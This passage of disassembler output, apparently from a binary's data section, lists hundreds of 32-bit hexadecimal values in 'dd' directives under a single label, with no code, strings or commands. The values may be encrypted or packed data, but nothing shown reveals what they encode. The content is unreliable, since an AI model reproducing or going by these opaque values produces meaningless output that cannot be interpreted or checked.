5AD6F5ADh, 3CEE214Fh, 132FE93Bh, 45B818DAh, 79B73E6Ch dd 1E40AA90h, 13CBDE2Dh, 0C55DE838h, 45519F7Fh, 0C90B7EC9h dd 6A5B5C69h, 33C80302h, 0E666E0C0h, 9DB4E806h, 0C682B65Eh dd 0E01F4EEEh, 815EF532h, 0FF050307h, 911DA760h, 0B3D15D7Dh dd 68FCC425h, 4258E90Bh, 0C3C15D38h, 22F53AEEh, 0F0D1FF01h dd 4E62D13Ah, 0C9747E3Ah, 96EDCD25h, 5B78B901h, 0EC813B91h dd 0F1254506h, 85E85CC0h, 0C4E889C6h, 1985AFCCh, 14D05A01h dd 0AB406AC4h, 60D3088Bh, 0E2A90C03h, 0AF909168h, 5F5C4B69h dd 0BA16ADF2h, 0E8E8D447h, 99049C14h, 0EA70C45Ah, 79A8AD71h dd 5252882Fh, 4268570Bh, 8558F134h, 0C8A2F3E9h, 629DC21Bh dd 0C76DF75Eh, 11E0BA17h, 0BACB045h, 50361FE6h, 0E3F54281h dd 28178CCh, 0CAE25CE8h, 2689D729h, 71B8D2BCh, 2BE1984Ah dd 202A983Eh, 82D0099Dh, 0D5B58EA9h, 85F6524Eh, 2C0FA894h dd 5125605Fh, 7CBB050h, 0E0C07C34h, 0D06AD308h, 73F24E12h dd 5FFE2E42h, 2B655F50h, 2F8C6D0Bh, 5E840CCBh, 3AFB9543h dd 5FEEC8AFh, 10265FBDh, 34B07D7h, 167AF849h, 0A0B4BA95h dd 0EE60121Eh, 6E7A50Dh, 17800C08h, 819032FFh, 0F250ED04h dd 0E9213113h, 78CC6667h, 549059h, 974251BEh, 0EABD554Dh dd 37A8241Eh, 5B00257Ch, 2FEA4EC0h, 0BE18E916h, 0CB1986B7h dd 0DD58EE9Ah, 0EBD8C1B3h, 54FCB892h, 0B522AB83h, 0F3E40238h dd 39A37C9Dh, 300C47Eh, 8952D245h, 21D897DAh, 0E5C273B1h dd 7D98E831h, 0FE15C442h, 3B0B137Bh, 348D7527h, 0B69E03Dh dd 54924F91h, 1202DB0h, 42288F14h, 81B316E9h, 0C10C7A1h dd 0E86F4757h, 9EE9849Fh, 68026FFDh, 3F7555C7h, 5169675h dd 9F2D8AC9h, 8113853Dh, 2028A1AEh, 0D394C83Dh, 82BB5912h dd 0D35FA07Ch, 0E0FFA5A4h, 5F052A98h, 0FBB87Dh, 4CFC748Ch dd 9557BBE9h, 6BE7AC18h, 599E6495h, 418FE835h, 19BA04D0h dd 2680D17Eh, 7F18520Fh, 26C72C47h, 341640C6h, 350E5C3Dh dd 0E37E1A7Fh, 2FBE37E9h, 85785D3Eh, 8855043Ah, 66C89BDh dd 0B2592EDh, 1F34933Fh, 0E06FF587h, 815D1367h, 31BE775Ch dd 0D5F75722h, 0EA04572Ch, 828C4ACEh, 60AB128Bh, 0DD08DBF9h dd 0AD68016Ah, 2B6F7C23h, 83DCFA42h, 5D2A4090h, 335F014Eh dd 2268D301h, 0F0312A61h, 10F152ADh, 97496770h, 0D48920DDh dd 14CCB4Dh, 66E3BB53h, 3F3178EDh, 64B54D81h, 2A1ECD6Eh dd 735C63C2h, 0AFD292C3h, 5B89B183h, 0FAA585A9h, 0BF8E5244h dd 0E0D54FF5h, 0EF30A03Ah, 97AD5A9Fh, 463065F0h, 0EBC227A9h dd 57F2776h, 2D921CFFh, 744052E9h, 18164ABBh, 4010FF3h dd 0E67296Dh, 41F2B87Fh, 80912E08h, 0A4529255h, 0A4347171h dd 85400883h, 0D5272428h, 6701DEE7h, 9A7FE9BBh, 9F5FA57h dd 8A01CF2Dh, 5C84082h, 68DD078Bh, 7086E91Ah, 0C9DC9D34h dd 5D2DF153h, 29CC417Bh, 7832E046h, 3805721Dh, 7FE94566h dd 0FBAC2FD4h, 9F50ACD0h, 36809D6Ah, 846E9FBAh, 0F3EA83A0h dd 744B7703h, 1DE565E9h, 0C0355EB8h, 2D7EF675h, 203C7CA6h dd 1D9499F1h, 66A5F40h, 0A24149B1h, 0B72EDB00h, 20F7811Eh dd 4E8B0436h, 0A33CB1E9h, 6EC60541h, 0CA843764h, 0CCDD6BEh dd 0F6D9DA97h, 9A9FBA1Ah, 4A39FAB2h, 0CF5CB9ACh, 1EB68556h dd 4BE7DBAEh, 67D56FAh, 2FB1B51Fh, 456EE51Fh, 0E209C4A6h dd 972594D2h, 30741EFDh, 0ED454767h, 492F54E6h, 4E885551h dd 0CDE90408h, 77CEEF8Fh, 0C8B7445Ah, 9FBB0082h, 0E2A1B50h dd 1841E381h, 0B114F278h, 8FEC7B5h, 501D7B84h, 4797768Ch dd 0F86E14D1h, 164F8A13h, 0F116B020h, 985B0B40h, 0F80A4A02h dd 0E9EAC29Ah, 49F58DBh, 33185C2Dh, 80A3AA2Fh, 0D864FF4Ah dd 0B171BCBBh, 0A77FB67Eh, 0D6F25FE4h, 0E05E0E81h, 82E92B03h dd 0C550CEE2h, 446E6817h, 78524A32h, 861F3202h, 3B40E66Fh dd 0F4B304Ch, 0D48EB0Dh, 7C5AE93Ah, 0CBBB564Bh, 46E44B78h dd 0C4B30753h, 3146EB80h, 0E5E9FDE3h, 0B56492BBh, 5B44B51Eh dd 0F881CDFEh, 892F2D91h, 52B93B1Ch, 0BDAF5CCCh, 6541A000h dd 0E9DDF70Ah, 798B974Dh dd 0B5D67D5h, 0F160ADE9h, 8769D0F7h, 0E32DC0A9h, 5FF4BFBCh dd 206144CBh, 0D8BF67EAh, 0F92124CFh, 43990877h, 10B56805h dd 0AD48D3E3h, 0B9127530h, 69906381h, 273D14Ch, 682752BDh dd 57897F4Fh, 8C0F8952h, 6BCBE149h, 0EFB9F7CFh, 0BAFE52A2h dd 4DCA9FDh, 29090A50h, 0F85C0970h, 6020E1Bh, 4DECB6F6h dd 0BB791271h, 6BC6B10Ch, 0F6C183D8h, 6760B031h, 72D71341h dd 0F17FA878h, 127F6B62h, 96F876A9h, 0CFDEFC64h, 53D29E5Ch dd 1251780Eh, 977CF6EEh, 8297A2CDh, 0C066F96Ch, 0C380CBFEh dd 0B83FF4F9h, 0B52C74D3h, 1DAB1D6h, 783DE9D9h, 176C9650h dd 82DA5A9Ah, 425721BFh, 0E89D7B50h, 19B40093h, 58E96E16h dd 4C30654Eh, 2B7FCC35h, 0BC1D6A60h, 71C706E1h, 0E255F65Eh dd 0E907013Dh, 0E835256Dh, 0BB50AF93h, 0DB695D71h, 0D5F75B01h dd 3DC02A43h, 5BA9B1DEh, 808EC5CFh, 768CBF8h, 0CF920A58h dd 561B75Ah, 40494BDh, 41AA3B88h, 4030543Dh, 0ED55902Eh dd 0C12E03E3h, 0A3263976h, 88505382h, 0B4B160F0h, 72BB7CEh dd 0BCBC85D2h, 31685C58h, 0BFC743C1h, 64B9009Bh, 16252E57h dd 68EE0260h, 5D2BD5C4h, 0FCF39FE1h, 673F0551h, 57720E2Dh dd 6FC2A038h, 28E91B44h, 94186E7h, 3E423958h, 5C8A07D7h dd 3C37514Bh, 0AC8A2817h, 6852A0DAh, 4D405011h, 91DB9ECh dd 9B605302h, 6CC4B198h, 680F84CBh, 0AF125E8Eh, 0FAD2F1CAh dd 96046CE3h, 0B01B271Fh, 7C267317h, 6E196710h, 31F2ADh dd 1057E22Eh, 5E2D20D2h, 0BF95E7D3h, 39FF5EF0h, 0F9B742C0h dd 0EFA48484h, 0B6470D31h, 5ACCB800h, 409FDB98h, 0E139F035h dd 4C8CB66Fh, 0F5A23174h, 0E81D6322h, 8FC46DACh, 0BB139974h dd 151BE741h, 0CE821D2Ch, 43F12D48h, 0F52D1B54h, 40C58987h dd 0E917BF0Bh, 99C59A5Bh, 33E854FBh, 8173351Dh, 0C73057CBh dd 0E9617E67h, 21371671h, 0CF50E982h, 8927175h, 0C105651Ah dd 6AC107E7h, 0FE304704h, 4E819839h, 2E10B1FEh, 74852984h dd 0A83E92F1h, 8087E40Fh, 64087100h, 5118170Dh, 3EF90627h dd 6BED9B17h, 0DED02322h, 42F29B9Ch, 96E1305Eh, 6D9F9D3h dd 0E719363Dh, 22C62BFCh, 6FB04B69h, 7A353169h, 3F3F5D24h dd 5B938340h, 0C14F6F63h, 0E65918CFh, 0BCCFD81Fh, 2EC43D14h dd 0BDBB04C9h, 75FCAFCDh, 0EEAB24Bh, 4013A6B9h, 0B3BE5663h dd 6D2A0032h, 0A034F3BBh, 5EEA291Ah, 0E301C891h, 4C2732A8h dd 10A4E1DBh, 0C29CEA4h, 0C3F90DCBh, 4A2D3205h, 0E6528305h dd 0E9CF30AFh, 5D9137BEh, 3CE89393h, 0AC6CC912h, 0AFA0C531h dd 0EB3C24AEh, 4458E3E7h, 8BB2E909h, 914A817Eh, 0DBA8AA02h dd 0A17FEFEh, 82A7F5B6h, 1C78FBC9h, 0FA78175h, 9020F8A5h dd 81629C51h, 9D4DB9EAh, 2F48823Fh, 0F7123731h, 40870A8h dd 0A3544D68h, 3B1B41A5h, 7940E3E1h, 6A26A7h, 0EACD8169h dd 0E933DF3Dh, 9654562Dh, 7B42906Eh, 4D94246Ah, 0C9CA01F3h dd 2E65D012h, 0ABE92BC2h, 6EB58D5h, 6D3FD7EAh, 32070C63h dd 291E1364h, 806B6CDh, 5D14800Ch, 90292DE9h, 0BD450659h dd 638AE4FAh, 0A14BB540h, 63347ABh, 4C7E5827h, 0B4AEED58h dd 0CD84642h, 0E01A60BFh, 5F0D7149h, 73500089h, 3170A203h dd 0D73C05BDh, 0F7812591h, 307B2B79h, 0C717A6AAh, 1A2D5A75h dd 0EF0E4125h, 0F1B80845h, 0A82ED504h, 94B18050h, 34284E24h dd 3A25E601h, 4ED3515Fh, 614C49FFh, 0ABF99257h, 0C29374E7h dd 4E5D4061h, 6DA38059h, 6B362808h, 0FFEA9DB7h, 0D7D15942h dd 0BB7C16BCh, 680989B3h, 9B4412F9h, 786484F0h, 0ACBEAE6Bh dd 0C4EBD7C7h, 0B171EAACh, 0AE2F5158h, 307C072Ch, 0E7942D17h dd 0FC1768DDh, 0AF06873Bh, 4889972h, 0EA8036B2h, 372FC214h dd 7C4CBADFh, 0FB9A7033h, 69E056B5h, 26757300h, 0D0BF03C7h dd 60B00CE2h, 400E07E3h, 0EBB3E91Ah, 0C2C6C234h, 92AF5F1Bh dd 22309609h, 24965F68h, 50D3E962h, 0C3302DE2h, 0EE787FE8h dd 4F895780h, 0ECEDA1C7h, 7D95ABD8h, 0ADB2AD10h, 2EB5511Ch dd 25E9E802h, 389B5DE6h, 59D5E1EAh, 0CE6860BEh, 725C230Eh dd 78BB0295h, 0D73FC739h, 4114F720h, 8A033FEh, 0C708660Ah dd 55C0105h, 229C9EE9h, 71DD506Ch, 0D4E7BB0h, 4D2580F8h dd 0C5C04442h, 7F583E71h, 0CA626390h, 0B8B34B92h, 6DEB3788h dd 0A8478FD2h, 633F8766h, 0BC5BD806h, 28F96B8h, 3FF3C1CAh dd 2F492D8Fh, 0DA5448EFh, 0F283074Fh, 0E5D1E35Dh, 0CCF581E8h dd 0ED347A63h, 33131F06h, 0ECE2A50Ch, 0E7211BC2h, 6A05FB68h dd 5B8BCEF2h, 801F010Ah, 2AF9BA52h, 54B71886h, 8BE947A3h dd 2EC4ECD8h, 8DFB5C3Ch, 12DE936Dh, 7D762AD2h, 8559280Bh dd 7CF04F64h, 0FAEB5F83h, 0B001B52Dh, 79327A25h, 2F740992h dd 0E0AF1456h, 486E4DCAh, 3B106567h, 7F64899Ch, 288C7C71h dd 0C14B3630h, 0DE38AADEh, 88F13A01h, 5D433CD0h, 8405E29h dd 93E9135Ah, 8E6BDDD1h, 9756D74h, 0D7AF0019h, 133A4B6Bh dd 0E423BCE9h, 4C604AEAh, 1311CD2Fh, 0CB4E509Fh, 0C45E095Bh dd 71D5554Dh, 0C2BE7804h, 0C02F5827h, 0B148F93h, 54E976EDh dd 5A4D6A78h, 105DCFEDh, 0CAB25925h, 77951546h, 7BBA08B0h dd 6CD4203h, 0D6EEE94Ah, 0C3F70A93h, 8EFCB61h, 0C10001A5h dd 4C2D06E8h, 0A7B93EE0h, 32050EA5h, 602BFB52h, 86C6809h dd 2F01E931h, 5BE99ECCh, 0BAF7C566h, 16C44CA2h, 0FDBA0060h dd 1721987Fh, 0BF5AD689h, 0B1575093h, 8C3AB414h, 305FB39Fh dd 701725E3h, 0E03C45D0h, 0E7878202h, 0C42D5F05h, 0A957DCFCh dd 307E339Ch, 67AB90Ah, 5C60652Dh, 12E97023h, 5E0E049Fh dd 37963DEFh, 69EA0258h, 0C14C650Ah, 0C00464EFh, 49011A87h dd 9226748h, 2447F50h, 54A7B639h, 0A899BBF3h, 3BBD30AAh dd 0EB29DC44h, 0D0C30780h, 1D0D0F1Fh, 0E81EF301h, 8E91608h dd 0B1FDD0EDh, 4B2A02E2h, 0CD5FA901h, 5C5EA509h, 0CF858C2h dd 14C7CF8h, 3292C74h, 468C762h, 20918152h, 508F847h, 3C58FC77h dd 42BF2D74h, 8A47517Ah, 0A4303146h, 0D34B1355h, 2F4AA9EAh dd 0EC920AF9h, 0AF25B98h, 0EC24338Dh, 0D7956DCCh, 0E72DC196h dd 3798FDA2h, 1DC54D55h, 65C8EAEFh, 0BE8E3BEDh, 560F24FBh dd 5DD1406Ah, 5CBD335Eh, 0D8F78B98h, 1BDB4800h, 2BDB9ECh dd 7FC76E28h, 50976479h, 819490EAh, 8EFC84CFh, 4C565126h dd 0D40A2502h, 2569443Eh, 0E66094Eh, 0F696EE60h, 4CF5664Ah dd 37000818h, 0E9074FEAh, 6ECBD3F0h, 3800FD58h, 321CF381h dd 7930333Bh, 0FC457E04h, 9804B7Fh, 5B3A50CAh, 19B8A0h dd 6852575Ah, 5833225Ch, 0C744EF4Dh, 9D58B558h, 0CBBED49Fh dd 0F221B1F5h, 0AF4EAE38h, 735C1428h, 0A11149E9h, 0ECEE540Ah dd 0A180088Fh, 4DB1B800h, 2521278Dh, 5DDA58C3h, 570A026Ah dd 2410963Dh, 7BEA4700h, 1F6A490Eh, 52E9DA01h, 103AA393h dd 0B5165E07h, 9D0CBEAFh, 4F0128EDh, 2D8AF3E7h, 0D50A4241h dd 0DFC29471h, 2075C4ADh, 1289734h, 0B22FE0F2h, 693F7CC6h dd 275FE675h, 0EAC1288Ch, 1666E68Eh, 2DC8CC97h, 0B8DC88D4h dd 1C4FB2D8h, 0C516CA80h, 0BE88F2EAh, 6EF6D6C4h, 0A1A4E985h dd 25EB2F8Ch, 8568E047h, 0AC2DDEE8h, 216B8289h, 4BA3DCB2h dd 914F5A06h, 560D43A0h, 0BF2AA903h, 95704798h, 6C2104BAh dd 685A0194h, 0CC2E6623h, 6D4887BEh, 4B68C255h, 5E67A567h dd 0F0BBB2BAh dword_4F4844 dd 0B7B294E9h, 15D08CDCh, 5DFEFF5Dh, 688437EFh, 29D826F1h dd 3D1B598Eh, 4295184h, 23E02DE9h, 0E05A4B5Fh, 2C12C139h dd 75B447C7h, 5C3F409Eh, 7B6D5997h, 1865F258h, 355C8E08h dd 8C451DB5h, 986B5E73h, 7DEB5847h, 0A92DAFBAh, 6423575Ch dd 50024F63h, 2A331EB8h, 3E07F628h, 0ABAB3196h, 9BB22077h dd 629ADCA3h, 0C9765457h, 82CC3670h, 66A43D60h, 0D7150825h dd 19AD7C48h, 5F054225h, 6FCC1586h, 744E687Ch, 95DF63A8h dd 8101A0F1h, 86098CCBh, 6B91203Ah, 0D98CA64Ah, 4C141720h dd 892A00Fh, 0AB6F95B1h, 0A09FD15Ch, 2E7E9819h, 2EE9683Ah dd 2DC981EAh, 2E011247h, 0CD067ECh, 0BCC85D25h, 2FE12FB6h dd 88B494F9h, 7E905E52h, 0B231B5Ch, 0AA59E956h, 0A53B3FAFh dd 0BCE5D07Ah, 805DE982h, 0EE13414Fh, 61E92F7Ch, 7CB986D0h dd 13AF5944h, 223DEB60h, 4124A5A8h, 4CBE0272h, 62BAF0C8h dd 54DFB92Dh, 5AB2A035h, 0EB541640h, 70346949h, 0F1313F6Dh dd 0A4BA8393h, 3940F5F2h, 0F4E2C05Fh, 8174C17Ah, 408FF21Ch dd 504A4344h, 2DB70780h, 28526082h, 4CB86A1Ch, 0F73142B5h dd 3404AD43h, 34C070B0h, 90A7C7EAh, 342A2CEh, 1AED235Fh dd 65280B06h, 360C1C79h, 18193D37h, 0F6AE0913h, 642F89C4h dd 57C3244Ch, 47FD6805h, 0B7C2643Eh, 4BD80988h, 11BD95F2h dd 0C42E6E5Bh, 0B4A9E831h, 0BE8564BFh, 63F78B61h, 0E1E4CC7Bh dd 579D2EBAh, 0C0E98FB3h, 2E0D72E2h, 99120787h, 0C86947E2h dd 0F1D6E35Dh, 1B35761Dh, 0EE8A132Fh, 251FA88h, 1388BF57h dd 0BD6A6384h, 1739F454h, 6DAC6F35h, 0C1A2ABE4h, 0C74B806h dd 48209631h, 7F00A266h, 709D1266h, 20B99009h, 82FC4DD5h dd 57858BBFh, 0FEB59D1Eh, 0E0BBC5AFh, 69020587h, 480C0A0Dh dd 0F114E12Dh, 0CD3AF56Eh, 0CF7D60D5h, 0E35FF082h, 0BC856C92h dd 0E3FB84F3h, 0EB805B01h, 0ECD3C1D5h, 69BDF7CFh, 3671DF75h dd 9D8C30E8h, 400EBEFBh, 99EF123Dh, 0E9A92ED4h, 0CC2B378Bh dd 0F7569277h, 2B3F92C9h, 0CB4F0FECh, 0F86B2ABAh, 79079E80h dd 89E22D9Ch, 146FECFEh, 9A1C1668h, 4ABDBBC0h, 0E91A2AE3h dd 0E0F57BF3h, 134263A6h, 8B5E1435h, 97454E66h, 6CEBA3D6h dd 81F1E9D5h, 80D7F6D3h, 0EFCC6BC7h, 0AA02FAA9h, 25A980B3h dd 0A03F7717h, 0A2090487h, 0A042DD45h, 47A86279h, 93C48E09h dd 2405F24Fh, 85AEA754h, 0C02D5DEAh, 5441762h, 7E6AAA03h dd 0E5D02912h, 1128071Fh, 9B0AE918h, 18C9EE87h, 0C289406h dd 642E762Eh, 1D150B20h, 3F7F829Ah, 69576139h, 0EB52172Ah dd 425752DCh, 0E1F14FBFh, 7549A31Bh, 2AB9D10h, 27E1ED81h dd 0CD6760A9h, 0AA18164Fh, 4703FA47h, 0C1CB614h, 7F516324h dd 0C15FE6FEh, 4EDE4CF8h, 0AE17773Ah, 2C723269h, 43427E24h dd 0CD0FC3D8h, 0C23CB8BBh, 0E2D9312Dh, 49565791h, 7E9A66EFh dd 0BF681616h, 7EE1E35Ch, 5A06292Fh, 0FE01044Ch, 0BEDBF6CBh dd 0F107A2B9h, 0B05BD830h, 11B252D0h, 0E4055F97h, 0B7630102h dd 0F4FD8879h, 0EA4B085Bh, 80CF8CAAh, 0F6B8E20Eh, 99C2A2D2h dd 56725F30h, 0DBE86BA2h, 7031EEEFh, 839118C9h, 0C5E8C852h dd 0E95FB165h, 0AE853B47h, 93218ABEh, 0E9A043ACh, 74BFE0C2h dd 1C7542F6h, 2601A5Dh, 0DD9CCA8Fh, 4A03D47h, 4A61D598h dd 8F78089h, 10345FE5h, 1410BBDh, 79D9311Dh, 60B702Ch dd 16B7F8CEh, 0CC34D068h, 590777F4h, 19E92B91h, 0EA880998h dd 429D4796h, 2BDC5FCEh, 0EAE8C197h, 5AB6D210h, 31C345B0h dd 0AE0B7193h, 7F29E962h, 118F7AD7h, 27582466h, 0A17A0322h dd 443C54B9h, 90D584C9h, 485D8660h, 0EA02C19Ah, 0DA3322B1h dd 0AA50AAC2h, 0EB01F3BDh, 64529AFFh, 4489F35Ah, 5594A6B0h dd 0DF9531F6h, 32F364A0h, 8F97149Ah, 6D34816Dh, 0E9D868D7h dd 0D54D2C51h, 0F7726FFh, 0AE360250h, 88692C44h, 420FF116h dd 0F2D7A334h, 0D220F029h, 89ECE865h, 6AE1DF75h, 0B1266CEEh dd 8CFF95F8h, 695D9EEEh, 27D31318h, 0F859FD66h, 0F5A93889h dd 74D09398h, 0D4F6A7C5h, 403D1DFAh, 0F0B450D6h, 0F392E8E9h dd 1C5F0917h, 0D166D1BEh, 46BC6B71h, 810542C6h, 3F13FCFEh dd 4F12903Eh, 11E222FFh, 0C11F7658h, 83B907EEh, 3EF7AED7h dd 3D6C1001h, 37BD0457h, 6FC0A06Bh, 4037DCDh, 0E5C1492Dh dd 0D472C006h, 0B74F3F95h, 0A5AA8612h, 9AA341BCh, 1571266Eh dd 109F0B67h, 0C0589FFCh, 0BA6AEB13h, 35C03760h, 0FB4B5C83h dd 0F60DC437h, 0B0695ED6h, 0DDE2FF38h, 4952280h, 0C2957B9Fh dd 5C9942BEh, 0FBB70076h, 6859CF28h, 0A2D1CD5Eh, 75C25190h dd 3C1DBDFBh, 60EE5496h, 0ED68534Fh, 32162917h, 0EBC68CB2h dd 0C7F81FE9h, 90C15ABDh, 420DB668h, 30F9F4E6h, 997BB02h dd 9FE6608Ch, 0B22683F9h, 0C189F2FDh, 0EE1680E6h, 504B5AB4h dd 5A05EF29h, 6427E73Eh, 80026640h, 0CE630BEEh, 75E4F0D1h dd 74B9EB4Dh, 0F1C9245Ah, 0CE4E7EFCh, 10F52DAFh, 415450B9h dd 0E9878195h, 0BC3FD8CBh, 64AC9336h, 0AADF5872h, 5E5E0225h dd 0E4BBDCA5h, 32ACAB5Bh, 0C5B6E9F0h, 20BA56C0h, 0BF507B7Ch dd 0E48516FCh, 31830532h, 0F0AEDDC6h, 5F1A781Bh, 0F612EA61h dd 429792ABh, 237D6802h, 5800CD9h, 0F721EB75h, 0C604D0D7h dd 276FF503h, 9CE2E922h, 101AD3D5h, 31BF4E89h, 0A5279E09h dd 79B3581Ch, 887D2652h, 31B28F7Fh, 6E07DA6Bh, 81F23421h dd 7E5AD0D9h, 0C3A439B8h, 0C399C8AEh, 0DD0C80C6h, 0C0B75351h dd 0ECAF26E9h, 375AA730h, 0B3F1B76h, 51532C02h, 5DBB0581h dd 0B13F61FCh, 0E907012Fh, 40EF6C1Eh, 2DC154D5h, 0B786D85Ah dd 9C67C7FCh, 5B1E6083h, 0AC987985h, 5A3DE292h, 0DD4AA818h dd 0DDA4CAB5h, 0C27CE787h, 325EFB5Eh, 0C41C6624h, 0E167D20Fh dd 0C62EBF6h, 0B2070220h, 25580237h, 66165B78h, 173CC740h dd 44141E5Bh, 6EF1126Eh, 64812550h, 69E0A6BCh, 53AC002Dh dd 980D2A50h, 2E982017h, 0B6009575h, 58C50133h, 1685657h dd 27D725D4h, 28B7E95Eh, 568827E0h, 0ABF85B74h, 0E919C728h dd 5C788A86h, 0AE2FAA2Bh, 55130749h, 8CD12154h, 0DDCB7F51h dd 5EF6FC7Bh, 8998B293h, 594577E8h, 7EC62D3Eh, 8DD06B84h dd 7C248D7Dh, 0F3149B5Ch, 98E66207h, 6F29036Eh, 46755DDAh dd 4B68FEE3h, 0A19DEAF2h, 362E1D3h, 1AD1F92Ah, 7D286443h dd 7CBF8436h, 0CE6C5A93h, 0EB52ECDFh, 4AD0BA5Eh, 57B1257Ah dd 0A925C872h, 656DBA69h, 2C8A89Bh, 14035C4Fh, 0AD41CF01h dd 0F71A8367h, 0DCC283DAh, 0EA052FFCh, 817F2806h, 0FC4D36FAh dd 1C5AE963h, 92BCF612h, 837AF8B5h, 17BFA4E9h, 0E31D65AFh dd 0B89C3F8Dh, 0D0EACB8Dh, 0E09E789h, 0C1134D0Bh, 0F1E287EFh dd 0AFDEC5DBh, 5216CCC5h, 2E68C1CCh, 276C1906h, 12CBCED6h dd 0D55BDF0Dh, 9CCB5244h, 0AF9D5449h, 7B1F9340h, 88269A25h dd 0DE2D0765h, 0BBD8170Bh, 0F21D4E09h, 0AFC350AEh, 0F3AAA097h dd 934804F0h, 0AB65E9DCh, 66127B17h, 0C631F2EBh, 5F79AD6h dd 0B92050C1h, 0FBD1EE19h, 1D825FD7h, 49D386EAh, 553DDFE0h dd 110ACDD3h, 46BD575h, 5B05A075h, 6997AB2Dh, 19D730E7h dd 0FD251CAEh, 0E905E5CFh, 0A0EC7B48h, 813AFFA1h, 5DCCBA77h dd 0DCDB6DD3h, 69178191h, 842BF97Fh, 0C2BD1368h, 4F316F86h dd 0A748EA82h, 69277674h, 59C6DC21h, 4BE43886h, 0CADF13A2h dd 26335DAh, 2329065Fh dd 400162D2h, 89D918A3h, 0EE605AD3h, 900C9CD8h, 51E31204h dd 659889AFh, 6DF32E6Bh, 3A32B14Ah, 64345BCBh, 7621C248h dd 0D0BAD1C9h, 44001516h, 6EC9E281h, 29E975FDh, 286139D0h dd 31195AECh, 2B875F47h, 84BA1974h, 0C4FF812Eh, 0BB5F0790h dd 53AF2DB1h, 0F5D4C861h, 49DB78BAh, 9AD84B5Bh, 889D40BBh dd 953C4C95h, 6020C2F8h, 0C8829522h, 53F55681h, 4A772522h dd 0C093B267h, 54A3219h, 0AEE92C55h, 2AB7AEF1h, 0D99C319h dd 2C8CEDC8h, 0C330A1B0h, 0A275A86Ah, 9D8461E5h, 0EAD6B439h dd 0AFEA3281h, 19E11C34h, 737A6668h, 0D40BDE8Bh, 602A01F2h dd 0F58111E5h, 540DAF26h, 31494FDBh, 3918B590h, 985630BDh dd 25759586h, 97ACEA20h, 0FF31AE18h, 0A40584C7h, 0F80192CAh dd 4AA5D7B0h, 681F7148h, 0C98D3FC2h, 0A6BEC305h, 0D5BF9347h dd 5A73EA60h, 0BB250177h, 6D5E1C72h, 0BDC1A281h, 60DAF302h dd 544B0A95h, 0BDF28ADh, 0A0D18D59h, 62618B55h, 0C522DCF8h dd 69EDD44Ah, 0C1C83A45h, 4E78B8E0h, 4E5CF870h, 4888FAFh dd 8493E947h, 23423C8h, 68545725h, 0F69814D3h, 41160BBDh dd 7E05443Ah, 31929E26h, 0C616DFD8h, 0DD50BA95h, 0F6740409h dd 0C9FB2970h, 0A3744D84h, 4A55F273h, 27745DF4h, 184AA558h dd 0CC4F7D3Fh, 22965015h, 10BDA927h, 95CEDFABh, 6CA8C929h dd 13D2EF54h, 0E03CE106h, 80C6966Bh, 0A03AC886h, 805243BDh dd 772D152Dh, 0A061787Ch, 2514D663h, 8704355h, 71EB7A02h dd 0F6A820E9h, 3F7B82F9h, 0C2551F47h, 22E3C0CEh, 61989721h dd 0F9044BBCh, 99BDE94Dh, 0C15286A4h, 712B7E90h, 5F36F83Ch dd 0C9C11BABh, 38EA2A70h, 49D77E96h, 0E909B88Eh, 4CD7881Eh dd 0EF22F6FFh, 1855E72h, 48F88BC2h, 58C560EEh, 2FB65266h dd 0A5780899h, 7AE4505Eh, 0FBF4BD05h, 7425FE02h, 67027DD7h dd 0F85FB850h, 0C7292DC1h, 0C07F7E09h, 4F23E9D0h, 40468C63h dd 0C1992563h, 43BCB9DDh, 0F3267778h, 54599FD6h, 0F73EEEAh dd 951A6411h, 21CB45E5h, 3D84AE24h, 395C04A0h, 0C8BE38E7h dd 7C176211h, 4BB82159h, 7669AB06h, 9C0B5237h, 80645E6Fh dd 6679C21Fh, 0C5F60C7h, 75A31D22h, 0F706524Fh, 0B00BDDF7h dd 6DF200CAh, 0E9050791h, 73BC4A2Fh, 0F5295F84h, 0B9BA37FAh dd 0F172E67Dh, 40EDD93Fh, 0FB309E05h, 0DCA87E51h, 745F1029h dd 404EE3E8h, 3704C542h, 0D18AA8A7h, 3E896F04h, 59839462h dd 7BBA38F7h, 0EE6CE884h, 0C26A0C8Dh, 93E1FD5Ch, 103CEF2h dd 0FB664BDDh, 5C0CF418h, 3A47205Fh, 0CA7C7009h, 2D23DA06h dd 0F7C8E3DDh, 5517727Ah, 22BA525Ah, 0F4A3666Ch, 414DEF7h dd 7E2E6C1h, 6BD89EEEh, 8F94DE8Bh, 5A65AC5h, 0ED518556h dd 62062008h, 2D5E207Bh, 4A5B51E0h, 3D5E431h, 0D4E927h dd 0C9814122h, 0A9131F86h, 44CA1306h, 0EF3059FDh, 8D24E727h dd 350027E9h, 48AF12C8h, 6332E405h, 0FDC56480h, 0A73C2F73h dd 0F654EE2Eh, 0B49A5FA3h, 6CC042Ah, 4C6CAE02h, 855FF6D0h dd 0DC85AF15h, 0A9BD082h, 8DF7252Bh, 3A7D5A2Eh, 55AD00Bh dd 0FCA52C7Eh, 0EB7825D9h, 713C779Dh, 0A1F4F7A2h, 92727088h dd 3D38B934h, 495614CEh, 2BE737C9h, 1C3A6861h, 0C4B25E3Ch dd 0C7056AC4h, 0DA098EBEh, 3EE9B394h, 0F29F4D7Ah, 52C055Bh dd 4A5DAFC2h, 1FB6ED92h, 149DEF40h, 0ED74AC73h, 9A6B8E06h dd 0A80B0C09h, 0FA1D7B71h, 5308804Dh, 407609BBh, 0B2803308h dd 296DD4E8h, 1FB0F197h, 0B03A5225h, 5E1D827Bh, 0F6810F03h dd 7E9AA73Eh, 0FC2E2D21h, 0AAE9A0F3h, 81989CDBh, 0BE7B38EFh dd 9BA53F01h, 0E1E90800h, 0F6C1C08Bh, 427C55AAh, 7495C0BFh dd 0FCF4BFB0h, 0A9A9D42h, 34DD25E9h, 9E759534h, 3856B2E2h dd 0EE4E3A85h, 0E540198Bh, 3C309050h, 2B120FFEh, 3CCCEA29h dd 897E4E1Ah, 34EF2BD4h, 0DFDD81D7h, 0CF800492h, 20B364E7h dd 96A1093Ah, 0B0AB043Ch, 0E9BDD500h, 95FCF59Dh, 0D849C555h dd 0D1DABA5Bh, 5F6BAE10h, 503F0E9h, 1C9C6C83h, 2C6D6EF1h dd 0CFC2A725h, 0E0EEDD68h, 15A98497h, 349897AFh, 6CB4EBDFh dd 44514B5Ch, 385B87Bh, 98F9F580h, 72044CEDh, 283B0EEBh dd 0F962CE8h, 0C6C1E65Fh, 2E9CE9FEh, 0C88571FBh, 94742959h dd 0FAFC4AC7h, 0ACDA174Ah, 0B5B4B495h, 120D09B8h, 4BC04EFDh dd 0F78071ADh, 325578D2h, 0C8598B70h, 12C9A6C3h, 